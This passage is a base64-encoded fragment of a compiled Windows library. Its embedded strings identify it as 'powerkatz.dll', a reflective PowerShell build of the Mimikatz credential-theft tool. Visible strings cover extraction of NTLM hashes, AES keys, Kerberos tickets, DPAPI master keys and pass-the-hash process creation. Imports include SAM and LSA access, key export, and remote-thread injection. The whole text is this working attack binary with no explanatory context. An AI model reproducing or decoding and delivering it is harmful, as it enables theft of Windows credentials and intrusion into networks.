AAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAxADIAOAAgAGsAZQB5ACAAbwBuAGwAeQAgAHMAdQBwAHAAbwByAHQAZQBkACAAZgByAG8AbQAgAFcAaQBuAGQAbwB3AHMAIAA4AC4AMQAgACgAbwByACAANwAvADgAIAB3AGkAdABoACAAawBiADIAOAA3ADEAOQA5ADcAKQAKAAAAQQBFAFMAMgA1ADYACQA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAANgA0ACAAKAAzADIAIABiAHkAdABlAHMAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbwBuAGwAeQAgAHMAdQBwAHAAbwByAHQAZQBkACAAZgByAG8AbQAgAFcAaQBuAGQAbwB3AHMAIAA4AC4AMQAgACgAbwByACAANwAvADgAIAB3AGkAdABoACAAawBiADIAOAA3ADEAOQA5ADcAKQAKAAAAbgB0AGwAbQAAAAAATgBUAEwATQAJADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAG4AdABsAG0AIABoAGEAcwBoACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAIAAgAHwAIAAgAFAASQBEACAAIAAlAHUACgAgACAAfAAgACAAVABJAEQAIAAgACUAdQAKAAAAAAAgACAAfAAgACAATABVAEkARAAgACUAdQAgADsAIAAlAHUAIAAoACUAMAA4AHgAOgAlADAAOAB4ACkACgAAAAAAIAAgAFwAXwAgAG0AcwB2ADEAXwAwACAAIAAgAC0AIAAAAAAAIAAgAFwAXwAgAGsAZQByAGIAZQByAG8AcwAgAC0AIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABHAGUAdABUAG8AawBlAG4ASQBuAGYAbwByAG0AYQB0AGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwBXAGkAdABoAEwAbwBnAG8AbgBXACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABNAGkAcwBzAGkAbgBnACAAYQB0ACAAbABlAGEAcwB0ACAAbwBuAGUAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAbgB0AGwAbQAgAE8AUgAgAGEAZQBzADEAMgA4ACAATwBSACAAYQBlAHMAMgA1ADYACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAZABvAG0AYQBpAG4ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAHUAcwBlAHIACgAAAAAAAAAAAAoACQAgACoAIABVAHMAZQByAG4AYQBtAGUAIAA6ACAAJQB3AFoACgAJACAAKgAgAEQAbwBtAGEAaQBuACAAIAAgADoAIAAlAHcAWgAAAAAACgAJACAAKgAgAEwATQAgACAAIAAgACAAIAAgADoAIAAAAAAACgAJACAAKgAgAE4AVABMAE0AIAAgACAAIAAgADoAIAAAAAAACgAJACAAKgAgAFMASABBADEAIAAgACAAIAAgADoAIAAAAAAAAAAAAAoACQAgACoAIABGAGwAYQBnAHMAIAAgACAAIAA6ACAAJQAwADIAeAAvAE4AJQAwADIAeAAvAEwAJQAwADIAeAAvAFMAJQAwADIAeAAvACUAMAAyAHgALwAlADAAMgB4AC8AJQAwADIAeAAvACUAMAAyAHgAAAAAAAoACQAgACoAIAB1AG4AawBuAG8AdwAgACAAIAA6ACAAAAAAAFsAMAAuAC4AMABdAAAAAAAKAAkAIAAqACAAUgBhAHcAIABkAGEAdABhACAAOgAgAAAAAAAKAAkAIAAqACAAUABJAE4AIABjAG8AZABlACAAOgAgACUAdwBaAAAACQAgACAAIAAlAHMAIAAAADwAbgBvACAAcwBpAHoAZQAsACAAYgB1AGYAZgBlAHIAIABpAHMAIABpAG4AYwBvAHIAcgBlAGMAdAA+AAAAAAAlAHcAWgAJACUAdwBaAAkAAAAAAAAAAAAKAAkAIAAqACAAVQBzAGUAcgBuAGEAbQBlACAAOgAgACUAdwBaAAoACQAgACoAIABEAG8AbQBhAGkAbgAgACAAIAA6ACAAJQB3AFoACgAJACAAKgAgAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAAAAAATABVAEkARAAgAEsATwAKAAAAAAAKAAkAIAAqACAAUgBvAG8AdABLAGUAeQAgACAAOgAgAAAAAAAKAAkAIAAqACAARABQAEEAUABJACAAIAAgACAAOgAgAAAAAAAKAAkAIAAqACAAJQAwADgAeAAgADoAIAAAAAAACgAJACAAWwAlADAAOAB4AF0AAABkAHAAYQBwAGkAcwByAHYALgBkAGwAbAAAAAAACQAgAFsAJQAwADgAeABdAAoACQAgACoAIABHAFUASQBEACAAIAAgACAAIAAgADoACQAAAAoACQAgACoAIABUAGkAbQBlACAAIAAgACAAIAAgADoACQAAAAoACQAgACoAIABNAGEAcwB0AGUAcgBLAGUAeQAgADoACQAAAAoACQBLAE8AAAAAAFQAaQBjAGsAZQB0ACAARwByAGEAbgB0AGkAbgBnACAAVABpAGMAawBlAHQAAAAAAEMAbABpAGUAbgB0ACAAVABpAGMAawBlAHQAIAA/AAAAVABpAGMAawBlAHQAIABHAHIAYQBuAHQAaQBuAGcAIABTAGUAcgB2AGkAYwBlAAAAawBlAHIAYgBlAHIAbwBzAC4AZABsAGwAAAAAAAoACQBHAHIAbwB1AHAAIAAlAHUAIAAtACAAJQBzAAAACgAJACAAKgAgAEsAZQB5ACAATABpAHMAdAAgADoACgAAAAAAZABhAHQAYQAgAGMAbwBwAHkAIABAACAAJQBwAAAAAAAKACAAIAAgAFwAXwAgACUAcwAgAAAAAAAtAD4AIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZQBuAHUAbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYQBsAGwAYgBhAGMAawBfAHAAdABoACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAKACAAIAAgAFwAXwAgACoAUABhAHMAcwB3AG8AcgBkACAAcgBlAHAAbABhAGMAZQAgAC0APgAgAAAAAABuAHUAbABsAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGsAZQByAGIAZQByAG8AcwBfAGUAbgB1AG0AXwB0AGkAYwBrAGUAdABzACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAWwAlAHgAOwAlAHgAXQAtACUAMQB1AC0AJQB1AC0AJQAwADgAeAAtACUAdwBaAEAAJQB3AFoALQAlAHcAWgAuACUAcwAAAAAAWwAlAHgAOwAlAHgAXQAtACUAMQB1AC0AJQB1AC0AJQAwADgAeAAuACUAcwAAAAAAbABpAHYAZQBzAHMAcAAuAGQAbABsAAAAQ3JlZGVudGlhbEtleXMAAFByaW1hcnkACgAJACAAWwAlADAAOAB4AF0AIAAlAFoAAAAAAGQAYQB0AGEAIABjAG8AcAB5ACAAQAAgACUAcAAgADoAIAAAAE8ASwAgACEAAAAAAAAAAABFAFIAUgBPAF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5Qb2xpY3kAVgFMc2FDbG9zZQAAZwBDcmVhdGVXZWxsS25vd25TaWQAAGEAQ3JlYXRlUHJvY2Vzc1dpdGhMb2dvblcAYABDcmVhdGVQcm9jZXNzQXNVc2VyVwAA+AFSZWdRdWVyeVZhbHVlRXhXAADyAVJlZ1F1ZXJ5SW5mb0tleVcAAOIBUmVnRW51bVZhbHVlVwDtAVJlZ09wZW5LZXlFeFcA3wFSZWdFbnVtS2V5RXhXAMsBUmVnQ2xvc2VLZXkAPgBDbG9zZVNlcnZpY2VIYW5kbGUAAK8ARGVsZXRlU2VydmljZQCuAU9wZW5TQ01hbmFnZXJXAACwAU9wZW5TZXJ2aWNlVwAATAJTdGFydFNlcnZpY2VXAMQBUXVlcnlTZXJ2aWNlU3RhdHVzRXgAAEIAQ29udHJvbFNlcnZpY2UAADsBSXNUZXh0VW5pY29kZQBQAENvbnZlcnRTaWRUb1N0cmluZ1NpZFcAAKwBT3BlblByb2Nlc3NUb2tlbgAAGgFHZXRUb2tlbkluZm9ybWF0aW9uAEoBTG9va3VwQWNjb3VudFNpZFcAWABDb252ZXJ0U3RyaW5nU2lkVG9TaWRXAACUAENyeXB0RXhwb3J0S2V5AACGAENyeXB0QWNxdWlyZUNvbnRleHRXAACaAENyeXB0R2V0S2V5UGFyYW0AAKAAQ3J5cHRSZWxlYXNlQ29udGV4dACTAENyeXB0RW51bVByb3ZpZGVyc1cAmwBDcnlwdEdldFByb3ZQYXJhbQCMAENyeXB0RGVzdHJveUtleQCcAENyeXB0R2V0VXNlcktleQCrAU9wZW5FdmVudExvZ1cABAFHZXROdW1iZXJPZkV2ZW50TG9nUmVjb3JkcwAAOgBDbGVhckV2ZW50TG9nVwAAZQBDcmVhdGVTZXJ2aWNlVwAAQwJTZXRTZXJ2aWNlT2JqZWN0U2VjdXJpdHkAACoAQnVpbGRTZWN1cml0eURlc2NyaXB0b3JXAADCAVF1ZXJ5U2VydmljZU9iamVjdFNlY3VyaXR5AAAdAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA4gBGcmVlU2lkAJkAQ3J5cHRHZXRIYXNoUGFyYW0AogBDcnlwdFNldEtleVBhcmFtAABwAlN5c3RlbUZ1bmN0aW9uMDMyAFUCU3lzdGVtRnVuY3Rpb24wMDUAnwBDcnlwdEltcG9ydEtleQAAaQJTeXN0ZW1GdW5jdGlvbjAyNQCIAENyeXB0Q3JlYXRlSGFzaACJAENyeXB0RGVjcnlwdAAAiwBDcnlwdERlc3Ryb3lIYXNoAABkAUxzYUZyZWVNZW1vcnkAnQBDcnlwdEhhc2hEYXRhALEBT3BlblRocmVhZFRva2VuAEUCU2V0VGhyZWFkVG9rZW4AALQARHVwbGljYXRlVG9rZW5FeAAAOABDaGVja1Rva2VuTWVtYmVyc2hpcAAAbABDcmVkRnJlZQAAawBDcmVkRW51bWVyYXRlVwAAQURWQVBJMzIuZGxsAAB3AENyeXB0QmluYXJ5VG9TdHJpbmdXAAB0AENyeXB0QWNxdWlyZUNlcnRpZmljYXRlUHJpdmF0ZUtleQBGAENlcnRHZXROYW1lU3RyaW5nVwAAUABDZXJ0T3BlblN0b3JlADwAQ2VydEZyZWVDZXJ0aWZpY2F0ZUNvbnRleHQAAAQAQ2VydEFkZENlcnRpZmljYXRlQ29udGV4dFRvU3RvcmUAAA8AQ2VydENsb3NlU3RvcmUAAEEAQ2VydEdldENlcnRpZmljYXRlQ29udGV4dFByb3BlcnR5ACkAQ2VydEVudW1DZXJ0aWZpY2F0ZXNJblN0b3JlACwAQ2VydEVudW1TeXN0ZW1TdG9yZQAJAVBGWEV4cG9ydENlcnRTdG9yZUV4AABDUllQVDMyLmRsbAAFAENETG9jYXRlQ1N5c3RlbQAEAENER2VuZXJhdGVSYW5kb21CaXRzAAAGAENETG9jYXRlQ2hlY2tTdW0AAAsATUQ1RmluYWwAAA0ATUQ1VXBkYXRlAAwATUQ1SW5pdABjcnlwdGRsbC5kbGwAAE4AUGF0aElzUmVsYXRpdmVXACIAUGF0aENhbm9uaWNhbGl6ZVcAJABQYXRoQ29tYmluZVcAAFNITFdBUEkuZGxsACYAU2FtUXVlcnlJbmZvcm1hdGlvblVzZXIABgBTYW1DbG9zZUhhbmRsZQAAFABTYW1GcmVlTWVtb3J5ABMAU2FtRW51bWVyYXRlVXNlcnNJbkRvbWFpbgAhAFNhbU9wZW5Vc2VyAB0AU2FtTG9va3VwTmFtZXNJbkRvbWFpbgAAHABTYW1Mb29rdXBJZHNJbkRvbWFpbgAAHwBTYW1PcGVuRG9tYWluAAcAU2FtQ29ubmVjdAAAEQBTYW1FbnVtZXJhdGVEb21haW5zSW5TYW1TZXJ2ZXIAABgAU2FtR2V0R3JvdXBzRm9yVXNlcgAsAFNhbVJpZFRvU2lkABsAU2FtTG9va3VwRG9tYWluSW5TYW1TZXJ2ZXIAABUAU2FtR2V0QWxpYXNNZW1iZXJzaGlwAFNBTUxJQi5kbGwAACgATHNhTG9va3VwQXV0aGVudGljYXRpb25QYWNrYWdlAAAlAExzYUZyZWVSZXR1cm5CdWZmZXIAIwBMc2FEZXJlZ2lzdGVyTG9nb25Qcm9jZXNzACIATHNhQ29ubmVjdFVudHJ1c3RlZAAhAExzYUNhbGxBdXRoZW50aWNhdGlvblBhY2thZ2UAAFNlY3VyMzIuZGxsAAcAQ29tbWFuZExpbmVUb0FyZ3ZXAABTSEVMTDMyLmRsbACYAUlzQ2hhckFscGhhTnVtZXJpY1cAVVNFUjMyLmRsbAAABQBNRDRVcGRhdGUAAwBNRDRGaW5hbAAABABNRDRJbml0AGFkdmFwaTMyLmRsbAAAFABSdGxVbmljb2RlU3RyaW5nVG9BbnNpU3RyaW5nAAANAFJ0bEZyZWVBbnNpU3RyaW5nABIAUnRsSW5pdFVuaWNvZGVTdHJpbmcAAAwAUnRsRXF1YWxVbmljb2RlU3RyaW5nAAEATnRRdWVyeU9iamVjdAACAE50UXVlcnlTeXN0ZW1JbmZvcm1hdGlvbgAADwBSdGxHZXRDdXJyZW50UGViAAAAAE50UXVlcnlJbmZvcm1hdGlvblByb2Nlc3MACQBSdGxDcmVhdGVVc2VyVGhyZWFkABMAUnRsU3RyaW5nRnJvbUdVSUQADgBSdGxGcmVlVW5pY29kZVN0cmluZwAAEABSdGxHZXROdFZlcnNpb25OdW1iZXJzAAAWAFJ0bFVwY2FzZVVuaWNvZGVTdHJpbmcAAAgAUnRsQXBwZW5kVW5pY29kZVN0cmluZ1RvU3RyaW5nAAAHAFJ0bEFuc2lTdHJpbmdUb1VuaWNvZGVTdHJpbmcAAAMATnRSZXN1bWVQcm9jZXNzAAYAUnRsQWRqdXN0UHJpdmlsZWdlAAAEAE50U3VzcGVuZFByb2Nlc3MAAAUATnRUZXJtaW5hdGVQcm9jZXNzAAALAFJ0bEVxdWFsU3RyaW5nAABudGRsbC5kbGwAxQBGaWxlVGltZVRvU3lzdGVtVGltZQAAWAJMb2NhbEFsbG9jAABcAkxvY2FsRnJlZQClA1dyaXRlRmlsZQC1AlJlYWRGaWxlAABWAENyZWF0ZUZpbGVXAO4ARmx1c2hGaWxlQnVmZmVycwAAZAFHZXRGaWxlU2l6ZUV4AEEBR2V0Q3VycmVudERpcmVjdG9yeVcAADQAQ2xvc2VIYW5kbGUAQgFHZXRDdXJyZW50UHJvY2VzcwCGAk9wZW5Qcm9jZXNzAHEBR2V0TGFzdEVycm9yAACTAER1cGxpY2F0ZUhhbmRsZQCKAERldmljZUlvQ29udHJvbAAcA1NldEZpbGVQb2ludGVyAACJA1ZpcnR1YWxRdWVyeQAAhANWaXJ0dWFsRnJlZQCKA1ZpcnR1YWxRdWVyeUV4AACFA1ZpcnR1YWxGcmVlRXgAuAJSZWFkUHJvY2Vzc01lbW9yeQCCA1ZpcnR1YWxBbGxvYwAAiANWaXJ0dWFsUHJvdGVjdEV4AACDA1ZpcnR1YWxBbGxvY0V4AACHA1ZpcnR1YWxQcm90ZWN0AACuA1dyaXRlUHJvY2Vzc01lbW9yeQAAaAJNYXBWaWV3T2ZGaWxlAHIDVW5tYXBWaWV3T2ZGaWxlAFUAQ3JlYXRlRmlsZU1hcHBpbmdXAABfAkxvY2FsUmVBbGxvYwAAaQBDcmVhdGVQcm9jZXNzVwAAKQNTZXRMYXN0RXJyb3IAAJEDV2FpdEZvclNpbmdsZU9iamVjdABqAENyZWF0ZVJlbW90ZVRocmVhZAAASAFHZXREYXRlRm9ybWF0VwAA4QFHZXRUaW1lRm9ybWF0VwAAxABGaWxlVGltZVRvTG9jYWxGaWxlVGltZQDVAEZpbmRGaXJzdEZpbGVXAADKAUdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAGEBR2V0RmlsZUF0dHJpYnV0ZXNXAADOAEZpbmRDbG9zZQDdAEZpbmROZXh0RmlsZVcA+ABGcmVlTGlicmFyeQBVAkxvYWRMaWJyYXJ5VwAAoAFHZXRQcm9jQWRkcmVzcwAAggFHZXRNb2R1bGVIYW5kbGVXAABXA1NsZWVwAPICU2V0Q29uc29sZUN1cnNvclBvc2l0aW9uAAC5AUdldFN0ZEhhbmRsZQAAyABGaWxsQ29uc29sZU91dHB1dENoYXJhY3RlclcANwFHZXRDb25zb2xlU2NyZWVuQnVmZmVySW5mbwAAQwJJc1dvdzY0UHJvY2VzcwAACwNTZXRDdXJyZW50RGlyZWN0b3J5VwAARQFHZXRDdXJyZW50VGhyZWFkAABDAUdldEN1cnJlbnRQcm9jZXNzSWQAS0VSTkVMMzIuZGxsAAAcBV92c2N3cHJpbnRmAHEFd2NzcmNocgBoBXdjc2NocgAAHwVfd2NzaWNtcAAAEgVfc3RyaWNtcAAAIQVfd2NzbmljbXAAcwV3Y3NzdHIAAHYFd2NzdG91bAB0BXdjc3RvbAAAVgFfZXJybm8AAEIFdmZ3cHJpbnRmAJUEZmZsdXNoAAAnBF93Zm9wZW4AbwFfZmlsZW5vANsBX2lvYgAAkgRmY2xvc2UAAKYEZnJlZQAA6gNfd2NzZHVwAG1zdmNydC5kbGwAAO4EbWVtc2V0AADqBG1lbWNweQAAagBfWGNwdEZpbHRlcgDeBG1hbGxvYwAA1QFfaW5pdHRlcm0AAQFfYW1zZ19leGl0AACFBGNhbGxvYwAAwARpc2RpZ2l0AOcEbWJ0b3djAACwAF9fbWJfY3VyX21heAAAwgRpc2xlYWRieXRlAADVBGlzeGRpZ2l0AADZBGxvY2FsZWNvbnYAAC8DX3NucHJpbnRmADECX2l0b2EAbgV3Y3RvbWIAAJQEZmVycm9yAADMBGlzd2N0eXBlAABpBXdjc3RvbWJzAAD/BHJlYWxsb2MAhQBfX2JhZGlvaW5mbwDPAF9fcGlvaW5mbwAEA19yZWFkAEsCX2xzZWVraTY0AEgEX3dyaXRlAADeAV9pc2F0dHkAPQV1bmdldGMAAI0CT3V0cHV0RGVidWdTdHJpbmdBAADXAlJ0bFVud2luZAApAkludGVybG9ja2VkRXhjaGFuZ2UAJgJJbnRlcmxvY2tlZENvbXBhcmVFeGNoYW5nZQAAXwNUZXJtaW5hdGVQcm9jZXNzAABvA1VuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAASwNTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAowJRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgDfAUdldFRpY2tDb3VudAAARgFHZXRDdXJyZW50VGhyZWFkSWQAAAIFX2Noa3N0awAABV9hdWxscmVtAAAAAAAAAAAb3eJUAAAAAN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